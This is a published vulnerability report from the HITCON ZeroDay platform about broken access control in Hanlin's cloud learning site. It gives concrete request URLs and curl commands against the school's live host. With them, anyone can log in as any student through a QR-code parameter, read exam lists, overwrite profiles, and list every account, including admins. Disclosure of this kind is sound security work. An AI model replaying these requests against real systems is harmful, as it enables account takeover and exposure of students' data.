Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2021-00294
- Vendor: 翰林出版社
- Title: 翰林雲端學院 邏輯權限漏洞
- Introduction: 權限未控管造成資訊外洩、任意操控使用者帳號
處理狀態
目前狀態
公開
Last Update : 2021/08/03
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2021/06/03 15:39:47 : 新提交 (由 Hsuan 更新此狀態)
- 2021/06/04 12:53:46 : 新提交 (由 Hsuan 更新此狀態)
- 2021/06/04 12:55:22 : 新提交 (由 Hsuan 更新此狀態)
- 2021/06/04 14:11:42 : 新提交 (由 Hsuan 更新此狀態)
- 2021/06/06 23:24:42 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/06/07 10:59:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/06/07 10:59:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/06/07 10:59:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/08/03 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2021-00294
- 通報者:hsuan1117 (Hsuan)
- 風險:高
- 類型:邏輯漏洞 (Logic Flaws)
參考資料
攻擊者可經由該漏洞繞過網站邏輯行為進行惡意攻擊。
漏洞說明: OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic
漏洞說明: CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html
漏洞說明: OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic
漏洞說明: CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
*.teams.com.tw
敘述
目前發現,該網站之APIServer有些權限控管不當、有些甚至完全沒有進行權限控管、
包括但不限於下列各項
必須先了解ID格式:C12056_STUDENT_002393
C12056 為 Team_ID
STUDENT 為 ROLE
002393 為 User_ID
完全不需任何驗證
不須任何驗證,可以直接登入該人帳號
- [最嚴重] QRCode Login
瀏覽:
https://tnfsh.teams.com.tw/User/<ID>!qrcodeLogin?qrcode=<QRCodeID>&team=C12056
QRCode ID 可以從用戶列表API直接存取,不過弔詭的是,他竟然與ID是一樣的,因此只需要輸入該網址就可以直接擁有該人的權限
例如:https://tnfsh.teams.com.tw/User/C12056_STUDENT_002393!qrcodeLogin?qrcode=C12056_STUDENT_002393&team=C12056}
不須驗證即可直接找到任一ID的考卷列表
- 考卷列表
curl 'https://tnfsh.teams.com.tw/ExamAnswer/!dashboard?user=C12056_STUDENT_002394&type=ready&showCompleted=false'如圖:該API會直接對應到用戶的考卷列表
- 修改User Info:
curl 'https://tnfsh.teams.com.tw/_id/C12056_STUDENT_002394/User' \ -X 'PUT' \ -H 'content-type: application/json' \ --data-raw '<USER Profile JSON>'
同校帳號可以操控其他使用者
(這部分若在使用者登入的狀態下,亦可使用CSRF觸發該攻擊)
-
獲取使用者資訊
只需有該校帳號 (平常的學生也可以)
填入ID、密碼,就可以獲得任意ID的資訊curl 'https://tnfsh.teams.com.tw/_id/<任意ID>/User' -H 'authority: tnfsh.teams.com.tw' -H 'cookie: userId=<ID>;userPw=<User Password>;'而另個API會造成更大的風險,可以列出整間學校的使用者帳號(包括Admin)
curl 'https://tnfsh.teams.com.tw/User/!dashboard' -H 'authority: tnfsh.teams.com.tw' -H 'cookie: userId=<ID>;userPw=<User Password>;' -X GET如附圖,以我的帳號作為測試
可以發現圖中ID 2394 可以存取到 ID 2395的資料
整個學校的帳號列表亦可直接列出(附圖限制只列出1筆資料)
同時可以發現,該系統採用明文儲存密碼,雖是只顯示前二個字,但仍有密碼長度的提示,若有心人士暴力破解,或有其他SQLi的漏洞將造成巨大危害 -
課程枚舉
這個API必須要登入以後,拿到SESSION ID才能觸發,可以列出整個學校裡面的課程curl 'https://tnfsh.teams.com.tw/Course/!dashboard?user=' -H 'cookie: JSESSIONID=<需登入拿取>;'如附圖,呼叫API以後會拿到整個學校裡面全部的課程資訊、課程ID
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。